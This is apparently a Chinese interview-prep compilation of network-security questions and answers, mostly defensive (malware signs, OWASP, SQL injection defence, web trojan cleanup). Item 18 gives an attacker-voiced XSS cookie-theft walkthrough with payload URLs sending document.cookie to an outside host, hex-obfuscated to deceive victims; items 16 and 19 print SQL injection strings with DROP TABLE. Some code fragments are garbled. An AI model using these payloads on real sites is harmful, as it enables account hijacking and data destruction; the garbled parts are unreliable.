1:描述tcp/udp的区别及优劣,及其发展前景
TCP 建立连接 完整性强 速度慢—当数据传输的性能必须让位于数据传输的完整性、可控制性和可靠性时,TCP协议是当然的选择。当强调传输性能而不是传输的完整性时
UDP—用户数据报协议,是一个简单的面向数据报的运输层协议。(UDP 不建立连接 不可靠 速度快)音频和多媒体应用,UDP是最好的选择。在数据传输时间很短,以至于此前的连接过程成为整个流量主体的情况下,UDP也是一个好的选择
2.公司网络安全具体指什么?
一、基础网络安全(按网络区域划分):
网络终端安全:防病毒(网络病毒、邮件病毒)、非法入侵、共享资源控制;
内部局域网(LAN)安全:内部访问控制(包括接入控制)、网络阻塞(网络风暴)、病毒检测;
3、外网(Internet)安全:非法入侵、病毒检测、流量控制、外网访问控制。
二、系统安全(系统层次划分):
1、硬件系统级安全:门禁控制、机房设备监控(视频)、防火监控、电源监控(后备电源)、设备运行监控;
2、操作系统级安全:系统登录安全、系统资源安全、存储安全、服务安全等;
3、应用系统级安全:登录控制、操作权限控制。
三、数据、应用安全(信息对象划分):
1、本地数据安全:本地文件安全、本地程序安全;
2、服务器数据安全:数据库安全、服务器文件安全、服务器应用系统、服务程序安全。
3.如果用户电脑中毒了,但用户不想重新安装系统,通过什么方法最有效的解决问题?
现在的病毒大多使用网络进行传播作用,意识到中病毒后首先断网,最直接的方法就是拔网线,让后通过别的主机下载专业的杀毒软件,比如百度,360,卡巴斯基等进行病毒深度查杀。
4,重装系统意味着什么,装注意什么
“重装系统只是一个最简单最易操作的解决手段而已,不是最后的手段。如果你有重要数据,这种方法就不适合。也可手工清理,但要具有一定的专业技术,对于一般用户很难清理干净病毒。
1,重做系统意味着你的系统盘所有数据都清空了,重新换了个新的系统。
2,系统做完后不一定就能解决病毒问题。现在的病毒不仅感染C盘,还能让其他所有分区都感染上病毒,重装系统只是将系统盘(C盘)的病毒清理掉了,开机运行时只要点击其他盘病毒又被激活,重新感染系统。仍然无法解决病毒问题。系统感染病毒后,并且又重装了系统,那么重启后不要点击其他盘,先安装有效的杀毒软件升级到最新版,然后查杀所有硬盘,一般都能搞定。
3,重装系统大多装在C盘,当然,你觉得不麻烦也可装在其他盘
5.如何判断计算机可能已经中马?
计算机系统运行速度减慢。
计算机系统经常无故发生死机。
计算机系统中的文件长度发生变化。
计算机存储的容量异常减少。
系统引导速度减慢。
丢失文件或文件损坏。
计算机屏幕上出现异常显示。
计算机系统的蜂鸣器出现异常声响。
磁盘卷标发生变化。
系统不识别硬盘。
对存储系统异常访问。
键盘输入异常。
文件的日期、时间、属性等发生变化
文件无法正确读取、复制或打开。
命令执行出现错误。
虚假报警。
换当前盘。有些病毒会将当前盘切换到C盘。
时钟倒转。有些病毒会命名系统时间倒转,逆向计时。
Windows操作系统无故频繁出现错误。
系统异常重新启动。
一些外部设备工作异常。
异常要求用户输入密码。
Word或Excel提示执行“宏”。
6.恶意软件的定义
恶意软件-Malicious Software,malware
把未经授权便干扰或破坏计算机系统/网络功能的程序或代码(一组指令)称之为恶意程序。
一组指令:可能是二进制文件,也可能是脚本语言/宏语言等。
7.木马病毒:
太多了,自己看吧:https://baike.baidu.com/item/木马病毒/333298?fr=aladdin
8.如何保障Web服务器安全?
维护Web服务器安全是信息安全中最不讨好的差事之一。你需要在相冲突的角色中找到平衡,允许对网络资源的合法访问,同时阻止恶意破坏。
你甚至会考虑双重认证,例如RSA SecurID,来确保认证系统的高信任度,但是这对所有网站用户来说也许不实用,或者不划算。尽管存在这样相冲突的目标,仍有六个有助Web服务器安全的步骤。
**1 、对内部和外部应用分别使用单独的服务器
假设组织有两类独立的网络应用,面向外部用户的服务和面向内部用户的服务,要谨慎地将这些应用部署在不同的服务器上。这样做可以减少恶意用户突破外部服务器来获得对敏感的内部信息地访问。如果你没有可用的部署工具,你至少应该考虑使用技术控制(例如处理隔离),使内部和外部应用不会互相牵涉。
**2 、使用单独的开发服务器测试和调试应用软件
在单独的Web服务器上测试应用软件听起来像是常识——的确是。不幸的是,许多组织没有遵循这个基本规则,相反允许开发者在生产服务器上调试代码甚至开发新软件。这对安全和可靠性来说都很可怕。在生产服务器上测试代码会使用户遇到故障,当开发者提交未经测试易受攻击的代码时,引入安全漏洞。大多数现代版本控制系统(例如微软的Visual SourceSafe)有助于编码/测试/调试过程自动化。
**3 、审查网站活动,安全存储日志
每一个安全专业人员都知道维护服务器活动日志的重要性。由于大多数Web服务器是公开的,对所有互联网服务进行审核是很重要的。审核有助你检测和打击攻击,并且使你可以检修服务器性能故障。在高级安全环境中,确保你的日志存储在物理安全的地点——最安全的(但是最不方便的)技巧是日志一产生就打印出来,建立不能被入侵者修改的纸记录,前提是入侵者没有物理访问权限。你也许想要使用电子备份,例如登录进安全主机,用数字签名进行加密,来阻止日志被窃取和修改。
**4 、 培训开发者进行可靠的安全编码
软件开发者致力于创建满足商业需求的应用软件,却常常忽略了信息安全也是重要的商业需求。作为安全专业人员,你有责任对开发者进行影响到Web服务器的安全问题的培训。你应该让开发者了解网络中的安全机制,确保他们开发的软件不会违背这些机制;还要进行概念的培训,例如内存泄漏攻击和处理隔离——这些对编码和生成安全的应用软件大有帮助。
**5 、给操作系统和Web服务器打补丁
这是另一个常识,但是当管理员因为其他任务而不堪重荷时常常忽略这一点。安全公告,像是CERT或者微软发布的公告,提醒人们软件厂商多频繁地发布某些安全漏洞的修补程序。一些工具像是微软的软件升级服务(SUS)和RedHat的升级服务有助于使这项任务自动化。总之,一旦漏洞公布,如果你不修补它,迟早会被人发现并利用。
**6 、使用应用软件扫描
如果负担地起,你也许会考虑使用应用软件扫描器来验证内部编码。像是 Watchfire公司的AppScan这样的工具有助于确保编码在生产环境里不会存在漏洞。记住,要有安全意识。设计良好的 Web服务器结构应该基于健全的安全政策。贯彻执行这六个方法会帮助你建立坚固的基础。
9.常见的安全扫描软件
像360 ,卡巴斯基这样的就不说了
Retina
Retina是eEye公司(www.eeye.com)的产品,强大的网络漏洞检测技术可以有效的检测并修复各种安全隐患和漏洞,并且生成详细的安全检测报告,兼容各种主流操作系统、防火墙、路由器等各种网络设备。曾在国外的安全评估软件的评测中名列第一。
Retina的主界面共分为三个部分,上部是菜单和工具栏,下部的左边是动态导航菜单,右边是与左边菜单相对应的内容显示窗口。
ISS(Internet Security Scanner)
ISS公司开发和维护的商业漏洞扫描程序,它的可移植性和灵活性很强,众多的UNIX的平台上都可以运行ISS。
流光
在国内可以与X-Scan相提并论的扫描器,它除了能够像 [1] X-Scan那样扫描众多漏洞、弱口令外,还集成了常用的入侵工具,如字典工具、NT/IIS工具等,还独创了能够控制“肉鸡”进行扫描的“流光Sensor工具”和为“肉鸡”安装服务的“种植者”工具。
WINNTAutoAttack
也叫Windows NT/2000 自动攻击探测机,常被用扫描肉鸡,该软件可以根据目标存在的漏洞自动在对方的计算机上添加用户。
OWASP Zed(ZAP),来自OWASP项目组织的开源免费工具,提供漏洞扫描、爬虫、Fuzz功能,该工具已集成于Kali Linux系统。
Nikto,一款开源软件,不仅可用于扫描发现网页文件漏洞,还支持检查网页服务器和CGI的安全问题。它支持指定特定类型漏洞的扫描、绕过IDC检测等配置。该工具已集成于Kali Linux系统。
BurpSuite,“Scanner”功能用于漏洞扫描,可设置扫描特定页面,自动扫描结束,可查看当前页面的漏洞总数和漏洞明细。虽说也有漏扫功能,但其核心功能不在于此,因此漏扫功能还是不如其他专业漏洞扫描工具。
Nessus,面向个人免费、面向商业收费的形式,不仅扫描Web网站漏洞,同时还会发现Web服务器、服务器操作系统等漏洞。个人用户只需在官网上注册账号即可获得激活码。它是一款Web网站形式的漏洞扫描工具。
还有深信服扫描,华为云在线安全扫描,除此之外,还有一些其他商业漏洞扫描软件(Safe3 WVS、IBM公司的AppScan)、以及其他特定网站类型的扫描工具(针对jboss的jboss-autopwn、针对joomla的joomscan、针对wordpress的wpscan)。
10.木马的传播途径主要有哪些?
木马主要是依靠邮件、下载等途径进行传播
木马也可以通过各种脚本进行传播。比如,IE浏览器在执行脚本时存在一些漏洞,入侵者可以利用这些漏洞进行木马的传播与种植。当目标主机执行了木马的服务端程序之后,入侵者便可以通过客户端程序与目标主机上的服务端建立连接,进而控制目标主机。对于通信协议的选择,绝大多数木马使用的是TCP/IP协议,但也有使用UDP协议的木马。所以,做好木马的检测工作可以及时的发现以及处理木马,降低木马所带来的损失。
11.常见的Web漏洞有哪些?
用户验证漏洞:没有正确的对用户进行验证
2. 用户凭证管理问题:没有正确的对用户凭证进行创建,保存,传输和保护,用户凭证包括用户密码等
3. 权限,特权以及访问控制漏洞
4. 缓存漏洞
5. 跨站脚本漏洞
6. 加密漏洞
7. 路径切换漏洞,用户输入可以包含”…”等字符来对应用程序路径进行切换和读取
8. 代码注入漏洞
9. 配置漏洞
10. 数据泄漏和信息
11. 输入验证漏洞
12. 操作系统命令脚本注入
13. 资源管理漏洞:允许用户操作过多的服务器资源,比如CPU,内存等等
14. SQL注入
15. 链接跟踪:允许用户直接用链接访问或者下载用户不该访问的文件
12。Web应用常见的安全漏洞有哪些?
随着存在安全隐患的Web应用程序数量的骤增,Open Web Application Security Project (开放式Web应用程序安全项目,缩写为OWASP)总结出了现有Web应用程序在安全方面常见的十大漏洞,以提醒企业及其程序开发人员尽量避免它们给企业IT系统带来的安全风险:
非法输入 Unvalidated Input
在数据被输入程序前忽略对数据合法性的检验是一个常见的编程漏洞。随着OWASP对Web应用程序脆弱性的调查,非法输入的问题已成为大多数Web应用程序安全漏洞方面的一个普遍现象。
失效的访问控制 Broken Access Control
大部分企业都非常关注对已经建立的连接进行控制,但是,允许一个特定的字符串输入可以让攻击行为绕过企业的控制。
失效的账户和线程管理 Broken Authentication and Session Management
有良好的访问控制并不意味着万事大吉,企业还应该保护用户的密码、会话令牌、账户列表及其它任何可为攻击者提供有利信息、能帮助他们攻击企业网络的内容。
跨站点脚本攻击 Cross Site Scripting Flaws
这是一种常见的攻击,当攻击脚本被嵌入企业的Web页面或其它可以访问的Web资源中,没有保护能力的台式机访问这个页面或资源时,脚本就会被启动,这种攻击可以影响企业内成百上千员工的终端电脑。
缓存溢出问题 Buffer Overflows
这个问题一般出现在用较早的编程语言、如C语言编写的程序中,这种编程错误其实也是由于没有很好地确定输入内容在内存中的位置所致。
注入式攻击 Injection Flaws
如果没有成功地阻止带有语法含义的输入内容,有可能导致对数据库信息的非法访问,在Web表单中输入的内容应该保持简单,并且不应包含可被执行的代码。
异常错误处理 Improper Error Handling
当错误发生时,向用户提交错误提示是很正常的事情,但是如果提交的错误提示中包含了太多的内容,就有可能会被攻击者分析出网络环境的结构或配置。
不安全的存储 Insecure Storage
对于Web应用程序来说,妥善保存密码、用户名及其他与身份验证有关的信息是非常重要的工作,对这些信息进行加密则是非常有效的方式,但是一些企业会采用那些未经实践验证的加密解决方案,其中就可能存在安全漏洞。
程序拒绝服务攻击 Application Denial of Service
与拒绝服务攻击 (DoS)类似,应用程序的DoS攻击会利用大量非法用户抢占应用程序资源,导致合法用户无法使用该Web应用程序。
不安全的配置管理 Insecure Configuration Management
有效的配置管理过程可以为Web应用程序和企业的网络架构提供良好的保护。
以上十个漏洞并不能涵盖如今企业Web应用程序中的全部脆弱点,它只是OWASP成员最常遇到的问题,也是所有企业在开发和改进Web应用程序时应着重检查的内容。
13.防御和检查SQL注入的主要手段有哪些?
1.在代码中使用参数化的过滤性语句
2.避免使用解释程序
3.防范SQL注入,对应用程序的异常进行包装处理,避免出现一些详细的错误消息
4.使用专业的漏洞扫描工具对服务器和应用程序进行安全扫描。
5.在Web应用程序开发过程的所有阶段实施代码的安全检查
14.什么是网络安全中的双因素认证?
双因素是密码学的一个概念,从理论上来说,身份认证有三个要素:
第一个要素(所知道的内容): 需要使用者记忆的身份认证内容,例如密码和身份证号码等。
第二个要素(所拥有的物品):使用者拥有的特殊认证加强机制,例如动态密码卡(令牌),IC卡,磁卡等。
第三个要素(所具备的特征):使用者本身拥有的惟一特征,例如指纹、瞳孔、声音等。
单独来看,这三个要素中的任何一个都有问题。“所拥有的物品”可以被盗走;“所知道的内容”可以被猜出、被分享,复杂的内容可能会忘记;“所具备的特征”最为强大,但是代价昂贵且拥有者本身易受攻击,一般用在顶级安全需求中。把前两种要素结合起来的身份认证的方法就是“双因素认证”。
双因素认证和利用自动柜员机提款相似:使用者必须利用提款卡(认证设备),再输入个人识别号码(已知信息),才能提取其账户的款项。 由于需要用户身份的双重认证,双因素认证技术可抵御非法访问者,提高认证的可靠性。简而言之,该技术降低了电子商务的两大风险:来自外部非法访问者的身份欺诈和来自内部的更隐蔽的网络侵犯
15.作为网站管理者应当如何防范XSS?
坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。另一个建议是输出页面时将 变换成 。要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的网站的用户信赖度。当然,仅仅将 ( 和 ) 变换成 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &。
16.SQL注入攻击的漏洞点有哪些?
1.没有正确过滤转义字符
SELECT * FROM users WHERE name = ‘” + userName + “‘;
SELECT * FROM users WHERE name = ‘a’ OR ‘t’='t’;
2.错误的类型处理
SELECT * FROM data WHERE id = ” + a_variable + “;
SELECT * FROM DATA WHERE id = 1; DROP TABLE users;
3.数据库服务器中的漏洞
MYSQL服务器中mysql_real_escape_string()函数漏洞,允许一个攻击者根据错误的统一字符编码执行成功的SQL注入式攻击
4.盲目SQL注入式攻击
Absinthe的工具就可以使这种攻击自动化
5.条件响应
6.条件性差错
7.时间延误
17.sql注入攻击的手法
联合查询
报错注入
布尔盲注
延时注入
18.能否解释一下XSS cookie盗窃是什么意思?
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标
当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试
不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)
下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。
盗取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/a.php?variable=”>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie
十六进制用法
http://host/a.php?variable="><script>document.lo
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。
“>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
第三步: 执行XSS
将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息
一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。
在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。
某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。
19.IBatis如何防范SQL 注入攻击?
风险:数据库资料被窃取,服务器被攻击者控制
漏洞1 示例:
在sqlmap中如下写法:
select * from table where name like ‘%v a l u e valuevalue%’
UnSafeBean b = (UnSafeBean)sqlMap.queryForObject(“value”, request.getParameter(“name”));
漏洞1 说明:
其中sqlmap方式是把∗ *∗ 替换,假设用户输入 ‘;drop table admin–
那么翻译为本地SQL为
select * from table where name like ‘%’;drop table admin–%’
修补方法:
采用 #*# 的方式 sqlmap是采用 预编译方式处理
把转义操作交给数据库本身!
select * from table where name like ‘%’||#value#||’%’
漏洞2 示例:
O r d e r I d OrderIdOrderId s o r t S e q sortSeqsortSeq
String orderId = group.getField(“orderId”).getStringValue();
query.setOrderId(StringUtils.isNotBlank(orderId)?orderId:null);
PaginationQueryList pageList =
orderService.listCustomerOrderForMistinessQuery(query);
漏洞2 说明:
其中sqlmap方式是把∗ *∗ 替换,假设用户输入 a;drop table admin–
那么翻译为本地SQL为
select * from PRIVATE_SHOWROOM_PRODUCT order by a;drop table admin–
修补方法:
O r d e r I d : M E T A D A T A OrderId:METADATAOrderId:METADATA s o r t S e q : S Q L K E Y W O R D sortSeq:SQLKEYWORDsortSeq:SQLKEYWORD
20.恶意软件的定义
恶意软件-Malicious Software,malware
把未经授权便干扰或破坏计算机系统/网络功能的程序或代码(一组指令)称之为恶意程序。
一组指令:可能是二进制文件,也可能是脚本语言/宏语言等。
21.什么是网页挂马?网页挂马都有什么类型?
网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。
(挂网马的目的,让访问该网页的主机下载某木马的服务器端程序,进而控制浏览者的主机。
)
网页挂马的类型
1、框架嵌入式网络挂马
网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:
解释:在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。下面我们做过做个演示,比如在某网页中插入如下代码
在“百度”中嵌入了“IT168安全版块”的页面,效果如图1。(图1)
2、js调用型网页挂马
js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个.js文件,然后利用js代码调用到挂马的网页。通常代码如下:
3、图片伪装挂马
随着防毒技术的发展,黑手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似: http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只 需输入相关的选项就可以了,如图3。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:
注:当用户打开http://www.xxx.com/test.htm是,显示给用户的是http://www.xxx.com/test.jpg,而http://www.xxx.com/test.htm网页代码也随之运行。(图3)
4、网络钓鱼挂马(也称为伪装调用挂马)
网络中最常见的欺骗手段,黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,利用社会工程学欺骗方法,引诱点击,当用户打开一个 看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了 一个获取QQ币的页面,引诱输入QQ好和密码,如图4。(图4)
等用户输入完提交后,就把这些信息发送到攻击者指定的地方,如图5。(图5)
5、伪装挂马
高级欺骗,黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com或者security.ctocio.com.cn等用户信任地址,其实却打开了被挂马的页面,从而实现欺骗,示例代码如:
上面的代码的效果,在貌似http://safe.it168.com的链接如图6上点击却打开了http://www.hacker.com.cn,如图7
总结:上述的挂马方式都是利用了系统的漏洞,并且挂马的代码不用攻击者编写,都是实现了工具化、傻瓜化。技术门槛比较低,因此危害也特别大。
22.如何查找网页漏洞?
网页的漏洞主要有注入漏洞、跨站漏洞、旁注漏洞、上传漏洞、暴库漏洞和程序漏洞等等。针对这么多的漏洞威胁,网站管理员要对自己的网站进行安全 检测,然后进行安全设置或者代码改写。那如何来检测网站存在的漏洞呢?其实,很多攻击者都是通过一些黑客工具来检测网站的漏洞然后实施攻击的。那么网站的 管理员就可以利用这些工具对网站进行安全检测,看有没有上述漏洞,笔者就不一一演示了。下面就列举一个当前比较流行的eWEBEditor在线HTML编 辑器上传漏洞做个演示和分析。
1、网站入侵分析
eWEBEditor是一个在线的HTML编辑器,很多网站都集成这个编辑器,以方便发布信息。低版本的eWEBEditor在线HTML编辑器,存在着上传漏洞,黑客利用这点得到WEBSHELL(网页管理权限)后,修改了网站,进行了挂马操作。
其原理是:eWEBEditor的默认管理员登录页面没有更改,而且默认的用户名和密码都没有更改。攻击者登陆eWEBEditor后,添加一种新的样式类型,然后设置上传文件的类型,比如加入asp文件类型,就可以上传一个网页木马了。(图8)
2、判断分析网页漏洞
(1)攻击者判断网站是否采用了eWEBEditor的方法一般都是通过浏览网站查看相关的页面或者通过搜索引擎搜索类似”ewebeditor.asp?id=”语句,只要类似的语句存在,就能判断网站确实使用了WEB编辑器。
(2)eWEBEditor编辑器可能被黑客利用的安全漏洞:
a.管理员未对数据库的路径和名称进行修改,导致黑客可以利用编辑器默认路径直接对网站数据库进行下载。 直接下载默认路径的数据库
b.管理员未对编辑器的后台管理路径进行修改导致黑客可以通过数据库获得的用户名和密码进行登陆或者直接输入默认的用户名和密码,直接进入编辑器的后台。
从数据库中获得账号密码登进后台
c.该WEB编辑器上传程序存在安全漏洞。 可直接上传木马
23网页木马的防御和清除
1、防御网页木马,服务器设置非常重要,反注册、卸载危险组件:
(网页后门木马调用的组件)
(1)卸载wscript.shell对象,在cmd先或者直接运行:
regsvr32 /u %windir%system32WSHom.Ocx
存在绕过,现在这里卸载了到时候攻击的时候再装上就可以了
(2)卸载FSO对象,在cmd下或者直接运行:
regsvr32.exe /u %windir%system32scrrun.dll
(3)卸载stream对象,在cmd下或者直接运行:
regsvr32.exe /u /s “C:Program FilesCommon FilesSystemadomsado15.dll”
注:如果想恢复的话只需重新注册即可,例如:regsvr32 %windir%system32WSHom.Ocx
2、清理网页挂马
(1)利用雷客图ASP站长安全助手查找所有在2008-3.1日-2008.3.5日之间所有修改过的文件里是否有iframe语句和http://www.xxx.com/a.htm关键词,进行手工清理。
(2)也可利用雷客图ASP站长安全助手批量删除网马。
(3)检测JS文件,在2008-3.1日-2008.3.5日之间增加的JS文件全部删除。(图9)
从分析报告可以看到网站的admin路径下发现lb.asp网页木马,经分析为老兵的网页木马。(加密后依旧能通过特征码分辨,推荐网 站管理员使用雷客ASP站长安全助手,经常检测网站是否被非法修改。)
提示:雷客图ASP站长安全助手可以帮助站长分析网站的安全状况,但是一定要更改它的默认用户名和密码。
3、解决eWEBEditor编辑器安全隐患
由于网站在开发时集成了eWEBEditor编辑器,删除或者替换容易导致其他问题的出现,推荐按如下方案解决:
(1)修改该编辑器的默认数据库路径和数据库名,防止被黑客非法下载。
默认登录路径admin_login.asp
默认数据库db/ewebeditor.mdb
(2)修改编辑器后台登录路径和默认的登录用户名和密码,防止黑客进入管理界面。
默认帐号admin
默认密码admin或者admin888(图10)
(3)对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限。
对上传语句现在进行修改:
将原来的:sAllowExt=Replace(UCase(sAllowExt),”ASP”,”")
修改为:sAllowExt=Replace(UCase(sAllowExt),”ASP”,”"),”CER”,”"),”ASA”,”"),”CDX”,”"),”HTR”,”")
增加上传对cer、asa、cdx、htr文件类型的限制,因为这些类型的文件都是可以执行的文件,可以被攻击者利用进行对网站及其服务器进行危险操作的文件类型。
24.常见的企业安全问题
01
电子邮件中的病毒
安全检查不仅可以监控用户的流量,还可以帮助企业检查所有电子邮件。企业可以做的不仅仅是过滤垃圾邮件,还能够检查邮件正文中的附件和链接。这种控制很容易实现。只需将邮件服务器配置为将所有电子邮件副本转发到正在运行MTA(邮件传输代理)的Check Point。如果使用的是Exchange企业电子邮件服务,则可以使用密件抄送(Bcc)。这种方法的主要好处是企业在用户的反垃圾邮件解决方案过滤后检查电子邮件。然而,令人感觉奇怪的是,总是不断通过恶意邮件。电子邮件流量安全的当前机制在大多数情况下根本无法应对这种任务。
为什么电子邮件病毒会有危险?
根据最新报告,电子邮件继续在恶意软件分发生态系统中占主导地位。恶意代码可以作为附件文件查收,也可以通过指向随机在线资源(如Google Drive)的链接进行轮询。在病毒传播方面,SMTP流量优于其他协议。此外,病毒不一定是.exe文件,它们也可以伪装成用户通常信任的.doc或.pdf文档。
02
网络钓鱼
几乎所有评估都会发现员工点击网络钓鱼链接遭遇攻击的实例。PayPai、Office 356、Fasebook、Appie等网站有着无数的网络钓鱼链接,试图吸引用户。网络钓鱼攻击的载体正在急剧上升,其原因很简单:如果可以简单地欺骗一个轻信的用户,为什么要制造复杂的病毒呢?人类永远是企业网络安全中最薄弱的环节。
是什么让网络钓鱼如此危险?
网络钓鱼在某种程度上是用户的个人问题。一旦有人打开网络钓鱼链接遭受损失,就会提高警惕。但攻击者可能会以这种方式窃取企业数据,其中包括电子邮件地址、密码和重要文件。许多人重复使用公司提供的用户名和密码来注册公共站点,例如社交网络和torrent文件的洪流跟踪器。如果用户可以在其所有账户使用同一个密码,为什么要记住一堆密码呢?这可能是他们的想法。
03
从企业网络上传到云端
云存储(Dropbox、Google Drive等)是另一个IT安全问题。现在每个人都使用这些服务。但是要知道企业网络中的某个人使用它们是一回事,而在这些渠道上浪费数GB的流量则是另一回事。大约80%被评估的公司都遇到了这个问题。
是什么让这样的上传数据有害?
有人可能正在泄露公司数据。除非采用数据泄露防护(DLP)解决方案,否则无法看到究竟泄露了什么。但是,不仅是将数据上传到云资源会带来风险,下载数据同样有害。黑客多年来一直在通过公共文件存储库传播病毒。
04
远程访问工具
这是另一个令人不安的事实。在绝大多数公司中,有些人使用远程访问服务,例如TeamViewer。但没有人能保证是远程访问其工作计算机的人员。它可能是企业原来的员工或网络犯罪分子。
远程访问工具的风险是什么?
除了未经批准的访问之外,还面临一个风险:文件传输。尤其令人不安的是,在这些会话过程中,大量的流量(GB级数据)来回传输移动。大多数远程访问实用程序都具有加密措施,因此无法了解正在下载或上传的内容。不过,总的来说,它是私有数据泄漏的主要渠道。
05
员工使用VPN工具和代理
只使用Internet Explorer访问已添加书签的网站的传统做法已经落后。如今的做法已经变得更加高级,再也不能用代理和匿名者来迷惑他人。安全评估显示,许多企业员工几乎都使用Tor或VPN。他们使用这些工具在组织中阻止玩游戏或观看非法视频。除非组织采用保护IT周边的下一代防火墙(NGFW),否则几乎不可能阻止。
使用VPN的风险是什么?
员工滥用内部指南这一事实并不是使用VPN最危险的事情。最大的担忧是加密流量将渗透到网络边界。即使企业拥有适用于防病毒和IPS功能的高效边缘设备,也无法跟踪这样的活动。用户可以通过加密通道传输任何内容,其中包括恶意软件。此外,他们可能不知道他们正在下载恶意内容,而这同样适用于HTTPS流量。如果没有在网络边界使用安全套接层(SSL)检查,则会出现与Internet带宽相当的安全漏洞。
许多IT安全管理人员都惊讶地发现,很多人通过匿名化工具在网络中传输大量的信息,而通过这些渠道传输内容很可能是一个谜。
06
Torrents
在几乎所有调查的公司中,一些人使用BitTorrent或其他P2P服务下载文件。而且,以这种方式下载的数据量是巨大的。在一个案例中,员工每周下载2TB的数据。人们可能会认为每个人都可以在家中使用高速互联网,那么为什么要在公司下载数据?
是什么让Torrents变得危险?
采用Torrents下载的主要问题是堵塞互联网的带宽。这种拥塞通常会影响业务关键型解决方案,例如IP电话和公司的云计算服务(CRM、电子邮件等)。此外,在计划购买外围防火墙时,许多管理人员根据渠道负载统计数据做出选择。例如,企业发现上个月的平均负载大约为400Mbps,因此决定购买功能更强大(因此更加昂贵)的防火墙。但是,如果阻止所有未经授权的P2P流量,可以在下一代防火墙(NGFW)部署方面节省大量资金。
